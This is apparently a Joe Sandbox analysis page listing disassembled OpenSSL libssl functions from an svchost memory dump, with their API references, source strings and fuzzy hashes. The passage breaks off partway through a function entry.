Level=%s(%d), description=%s(%d), xrefs: 00007FFBAB43EC94
Illegal Alert Length, xrefs: 00007FFBAB43EC59
Inner Content Type = %s (%d), xrefs: 00007FFBAB43EA92
too short message, xrefs: 00007FFBAB43EADD
Content Type = %s (%d) Length = %d, xrefs: 00007FFBAB43EBE4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_printf$O_puts
String ID: Illegal Alert Length$ Level=%s(%d), description=%s(%d)$ change_cipher_spec (1)$ Content Type = %s (%d) Length = %d$ Inner Content Type = %s (%d)$ epoch=%d, sequence_number=%04x%04x%04x$ TLS RecordHeader: Version = %s (0x%x)$ too short message$Message length parse error!$Received$Sent$UNKNOWN$unknown value
API String ID: 3508759399-1353787293
Opcode ID: c7a5dc54c00234d68f6c98cff7be6b630077e649b2aa6d96f11a4dc9702c593d
Instruction ID: 72cd49a9d8ee13b4c65310920921374192c1055638fa4c6e3fc834c8d91ac926
Opcode Fuzzy Hash: c7a5dc54c00234d68f6c98cff7be6b630077e649b2aa6d96f11a4dc9702c593d
Instruction Fuzzy Hash: 7491B4A2A4E68285EA769B35E45017E6BA1FF85784F4CC036DFAE037A1CE3CE505D710

Function 00007FFBAB474800 Relevance: 42.2, APIs: 23, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64 ref: 00007FFBAB47484C
EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFBAB474854
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64 ref: 00007FFBAB474889
EVP_CIPHER_get_mode.LIBCRYPTO-3-X64 ref: 00007FFBAB474891
memcpy.VCRUNTIME140 ref: 00007FFBAB4748BF
memcpy.VCRUNTIME140 ref: 00007FFBAB4748D6
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64 ref: 00007FFBAB474908

Part of subcall function 00007FFBAB4734C0: EVP_MD_is_a.LIBCRYPTO-3-X64 ref: 00007FFBAB473554

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47495A
EVP_MD_CTX_copy_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB474986
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB47499E
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB4749B8
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB4749D5
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB4749F0
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB474A09
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB474A21
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB474A37
EVP_MD_CTX_copy_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB474A46
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB474A5A
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB474A70
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB474A84
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB474A98
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB474AA4
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB474ABF

Part of subcall function 00007FFBAB477720: EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64(00007FFBAB4748A7), ref: 00007FFBAB47772D
Part of subcall function 00007FFBAB477720: OSSL_STORE_INFO_get_type.LIBCRYPTO-3-X64(00007FFBAB4748A7), ref: 00007FFBAB477735

Strings

666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ssl3_set_crypto_state, xrefs: 00007FFBAB4748CF, 00007FFBAB4749AE

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$Update$X_get0_cipher$Final_exX_copy_exX_freememcpy$D_get_sizeD_is_aO_get_typeR_get_modeX_new
String ID: 666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ssl3_set_crypto_state
API String ID: 2225050219-1517534223
Opcode ID: a42fbf17189fd951b6ee509d1a25ded697f71a72bdef3f320c99e93f85a50791
Instruction ID: cc05a773134263635e7a7cb1e5959e9377bb738021632962399c24de9701bf62
Opcode Fuzzy Hash: a42fbf17189fd951b6ee509d1a25ded697f71a72bdef3f320c99e93f85a50791
Instruction Fuzzy Hash: 5F71E891B4E78340EA26DB73E9512BE6790AF89BC4F049035ED6D477A6EE3CD048C705

Function 00007FFBAB493070 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

X509_STORE_CTX_new_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB493106
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49311B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB493133
X509_STORE_CTX_init.LIBCRYPTO-3-X64 ref: 00007FFBAB49314F
X509_STORE_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49315B
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB493168
X509_verify_cert.LIBCRYPTO-3-X64 ref: 00007FFBAB493174
ERR_clear_error.LIBCRYPTO-3-X64 ref: 00007FFBAB493179
X509_STORE_CTX_get0_chain.LIBCRYPTO-3-X64 ref: 00007FFBAB493181
X509_STORE_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4931A4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4931AD
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB4931BF
X509_STORE_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB49320A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB493232
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB4931D5

Part of subcall function 00007FFBAB4932F0: ERR_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49327A), ref: 00007FFBAB493354
Part of subcall function 00007FFBAB4932F0: ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,00007FFBAB49327A), ref: 00007FFBAB49336C

X509_STORE_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB4931FD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB49324A
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB493283
OPENSSL_sk_value.LIBCRYPTO-3-X64 ref: 00007FFBAB493295
OPENSSL_sk_num.LIBCRYPTO-3-X64 ref: 00007FFBAB4932BE

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB49312C, 00007FFBAB493243
ssl_add_cert_chain, xrefs: 00007FFBAB493125, 00007FFBAB49323C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: X509_$R_new$X_free$L_sk_numR_set_debug$L_sk_value$R_clear_errorX509_verify_certX_get0_chainX_initX_new_ex
String ID: ssl\statem\statem_lib.c$ssl_add_cert_chain
API String ID: 908776618-1864314606
Opcode ID: 4ded3c45a9f5e313dfbd2a9052209eea991ca9083dc52cd3238337bb07a7fc01
Instruction ID: 945b1267c1ae7c561eeadcbc8b2d35f084e576459967e51af3b29b4474e93ff0
Opcode Fuzzy Hash: 4ded3c45a9f5e313dfbd2a9052209eea991ca9083dc52cd3238337bb07a7fc01
Instruction Fuzzy Hash: 7D5194E1B4E28242FA72AA72D5C167D6641BF56FC0F04C435EE2D47BB6DE2CE4068306

Function 00007FFBAB43ABA0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 290COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43ABF7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43AC0F

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

OSSL_STORE_INFO_get_type.LIBCRYPTO-3-X64 ref: 00007FFBAB43ACF4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43AD43
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43AD5B
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43ADBB
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43ADD3
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43AE25
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB43AE52
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43AE6A

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43AC08, 00007FFBAB43AD54, 00007FFBAB43ADCC, 00007FFBAB43AE63, 00007FFBAB43AF8D, 00007FFBAB43AFD0
tls12_check_peer_sigalg, xrefs: 00007FFBAB43ABFC, 00007FFBAB43AD48, 00007FFBAB43ADC5, 00007FFBAB43AE5C, 00007FFBAB43AF81, 00007FFBAB43AFC9

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$O_get_typeR_vset_error
String ID: ssl\t1_lib.c$tls12_check_peer_sigalg
API String ID: 812865484-3755023935
Opcode ID: a359bb5175d06b9b752ac6819fca77620d0d96461235a11ce37690f78518dbc2
Instruction ID: 443bbe0cf9849ece1fb7570eabe87b4daaf97ede3fad40a7b8c9837fccb5c52f
Opcode Fuzzy Hash: a359bb5175d06b9b752ac6819fca77620d0d96461235a11ce37690f78518dbc2
Instruction Fuzzy Hash: 28C1ACA2E8E68242FA679A36C4812BD3391EF40780F58C435DE6D876F1CE2CE9858741

Function 00007FFBAB416C60 Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 159COMMON

Download Yara Rule

APIs

EVP_MD_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416CA0
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB416CB8
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB416CD0

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416D21
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416D5C
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416D72
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416D8F
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416DAC
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416DC6
EVP_DigestInit_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416DE4
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416DF6
EVP_DigestUpdate.LIBCRYPTO-3-X64 ref: 00007FFBAB416E0C
EVP_DigestFinal_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB416E20
EVP_MD_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB416E45
OPENSSL_cleanse.LIBCRYPTO-3-X64 ref: 00007FFBAB416E54

Strings

ssl3_generate_master_secret, xrefs: 00007FFBAB416CBD, 00007FFBAB416E68
ssl\s3_enc.c, xrefs: 00007FFBAB416CC9, 00007FFBAB416E74

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: Digest$Update$Final_exInit_ex$L_cleanseR_newR_set_debugR_vset_errorX_freeX_new
String ID: ssl3_generate_master_secret$ssl\s3_enc.c
API String ID: 170064413-120754557
Opcode ID: 81745e4446bca413cfe758efb30117ef0c65d56f48ccd6075b13ff87b4c99dbc
Instruction ID: 5e1e2b2fcd8f785fb76d9d593696f720d4c4b3def63fa88f29d488c246d27b26
Opcode Fuzzy Hash: 81745e4446bca413cfe758efb30117ef0c65d56f48ccd6075b13ff87b4c99dbc
Instruction Fuzzy Hash: 8A5196A1F5E64251F622EB32E9527BE6350BF89BC4F409031EE6D47766DE3CE4448701

Function 00007FFBAB431BB0 Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

BIO_s_file.LIBCRYPTO-3-X64 ref: 00007FFBAB431BDB
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB431BE3
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB431BF0
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB431C06
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB431C24
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB431C2D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB431C45
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB431D57
X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB431D61
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB431D69

Strings

ssl\ssl_rsa.c, xrefs: 00007FFBAB431BFF, 00007FFBAB431C3E, 00007FFBAB431C82, 00007FFBAB431D0D, 00007FFBAB431D3F
SSL_use_certificate_file, xrefs: 00007FFBAB431BF5, 00007FFBAB431C32, 00007FFBAB431C76, 00007FFBAB431D01, 00007FFBAB431D33

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_ctrlO_freeO_newO_s_fileR_set_errorX509_free
String ID: SSL_use_certificate_file$ssl\ssl_rsa.c
API String ID: 2680622528-2821204180
Opcode ID: 7d33748c947b86641809e4c51edeeb1ecffc982e89cdf14564a8fb8a613897b6
Instruction ID: 9cac559ad99f7b5905af72ccdcb507135c00338bb3a4c8470e3bbfeadd111988
Opcode Fuzzy Hash: 7d33748c947b86641809e4c51edeeb1ecffc982e89cdf14564a8fb8a613897b6
Instruction Fuzzy Hash: A04153E2A0EA4281FA22EB72D8511FE2351AF85790F58C035ED3D476F6DE3CE54A9701

Function 00007FFBAB41BC60 Relevance: 36.8, APIs: 19, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

OPENSSL_sk_set_cmp_func.LIBCRYPTO-3-X64 ref: 00007FFBAB41BC94
BIO_s_file.LIBCRYPTO-3-X64 ref: 00007FFBAB41BC9C
BIO_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCA4
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCB1
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCC9
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCD9
BIO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCE3
X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCED
OPENSSL_sk_set_cmp_func.LIBCRYPTO-3-X64 ref: 00007FFBAB41BCF8
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD21
PEM_read_bio_X509.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD38
X509_get_subject_name.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD47
X509_NAME_dup.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD54
OPENSSL_sk_find.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD6B
X509_NAME_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD77
OPENSSL_sk_push.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD84
PEM_read_bio_X509.LIBCRYPTO-3-X64 ref: 00007FFBAB41BD9B
ERR_clear_error.LIBCRYPTO-3-X64 ref: 00007FFBAB41BDA5
X509_NAME_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41BDB2

Strings

SSL_add_file_cert_subjects_to_stack, xrefs: 00007FFBAB41BCB6
ssl\ssl_cert.c, xrefs: 00007FFBAB41BCC2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: X509_$E_freeL_sk_set_cmp_funcM_read_bio_X509$E_dupL_sk_findL_sk_pushO_ctrlO_freeO_newO_s_fileR_clear_errorR_newR_set_debugR_set_errorX509_freeX509_get_subject_name
String ID: SSL_add_file_cert_subjects_to_stack$ssl\ssl_cert.c
API String ID: 2223916698-1814255512
Opcode ID: c23894fe0d83960a1e2b92901666e6c3f27e1cf54e886353b832cd548e2c7f6e
Instruction ID: ee760ec1825bfe2f9e6f8b6352e74d3b33dc7abbce2e7947c510028a9a064dd7
Opcode Fuzzy Hash: c23894fe0d83960a1e2b92901666e6c3f27e1cf54e886353b832cd548e2c7f6e
Instruction Fuzzy Hash: B3315E91F4F21281FA66AB32E8936BD5250AF85BC0F44C435ED2D47BA6EE2DE5098704

Function 00007FFBAB48C3C0 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 270COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C3F7
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C40F

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB48C4D6
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB48C7A7

Strings

tls_construct_client_hello, xrefs: 00007FFBAB48C3FC, 00007FFBAB48C799
ssl\statem\statem_clnt.c, xrefs: 00007FFBAB48C408, 00007FFBAB48C7A0

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: ssl\statem\statem_clnt.c$tls_construct_client_hello
API String ID: 4275876640-3515996699
Opcode ID: a9b46b3c7ad949edce65097b95c8b7c8cddc4bba1d7a4d60cc6dd7aa523a75c5
Instruction ID: 59658420a19a6bb96c6f345c1bdba5857eb9ad02b97bd9cedcafae3424634b11
Opcode Fuzzy Hash: a9b46b3c7ad949edce65097b95c8b7c8cddc4bba1d7a4d60cc6dd7aa523a75c5
Instruction Fuzzy Hash: B6B181E2A0E69381FB629AB6D5413BD1690AF45FC4F08C032DE6D866E7DF3CE4458351

Function 00007FFBAB492AD0 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

OPENSSL_sk_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492AFC
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492B0B
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492B23

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

d2i_X509_NAME.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492BD0
OPENSSL_sk_push.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492BEE
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492C0A
OPENSSL_sk_pop_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492CEA
X509_NAME_free.LIBCRYPTO-3-X64(?,?,?,?,?,00007FFBAB47B80E), ref: 00007FFBAB492CF2

Strings

ssl\statem\statem_lib.c, xrefs: 00007FFBAB492B1C, 00007FFBAB492C40, 00007FFBAB492C65, 00007FFBAB492C8A, 00007FFBAB492CBE
parse_ca_names, xrefs: 00007FFBAB492B15, 00007FFBAB492C34, 00007FFBAB492C59, 00007FFBAB492C7E, 00007FFBAB492CB2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: L_sk_pop_freeX509_$E_freeL_sk_newL_sk_pushR_newR_set_debugR_vset_errord2i_
String ID: parse_ca_names$ssl\statem\statem_lib.c
API String ID: 1078948774-2141598178
Opcode ID: c7b76cd4449573da7d42b1a079351f64b7b5a0f99ba7884a8bf6dd802beac5ab
Instruction ID: 6b62f508b50267e2b72a3986592e5174ae5a48af216dead0ed6af2c7ea2713c4
Opcode Fuzzy Hash: c7b76cd4449573da7d42b1a079351f64b7b5a0f99ba7884a8bf6dd802beac5ab
Instruction Fuzzy Hash: 9C51B4A1F4E65281FA23AB72E8911BD6351EF84380F44C431EEBD42AB6DE2DE5858701

Function 00007FFBAB47ABF0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 204COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47ACDC
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47ACF4
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB47AD0A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AD9D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47ADB5
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB47ADCF
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AE13
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47AE2B
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB47AE41
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AE84
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47AE9C
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB47AEB2

Strings

SSL_poll, xrefs: 00007FFBAB47ACE1, 00007FFBAB47ADA2, 00007FFBAB47AE18, 00007FFBAB47AE89
SSL_poll currently only supports QUIC SSL objects, xrefs: 00007FFBAB47ACF9
SSL_poll does not currently support blocking operation, xrefs: 00007FFBAB47AEA1
SSL_poll currently does not support polling sockets, xrefs: 00007FFBAB47AE30
SSL_poll does not support unknown poll descriptor type %d, xrefs: 00007FFBAB47ADBE
ssl\rio\poll_immediate.c, xrefs: 00007FFBAB47ACED, 00007FFBAB47ADAE, 00007FFBAB47AE24, 00007FFBAB47AE95

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: SSL_poll$SSL_poll currently does not support polling sockets$SSL_poll currently only supports QUIC SSL objects$SSL_poll does not currently support blocking operation$SSL_poll does not support unknown poll descriptor type %d$ssl\rio\poll_immediate.c
API String ID: 1552677711-1312627168
Opcode ID: f04a2d450dba436fa6427ef25b33032bde060a6b61b459dd1f9ddc99022ccb72
Instruction ID: b3dc8088cf21e4f88cc98c1855fb3c05213c8de82e809b44774cf000c10de6f5
Opcode Fuzzy Hash: f04a2d450dba436fa6427ef25b33032bde060a6b61b459dd1f9ddc99022ccb72
Instruction Fuzzy Hash: E271C0B1B4EB8296EA26DF35E4102B96395FB84B80F549431DEAE177B0CE3CE445C740

Function 00007FFBAB441C70 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 197COMMON

Download Yara Rule

APIs

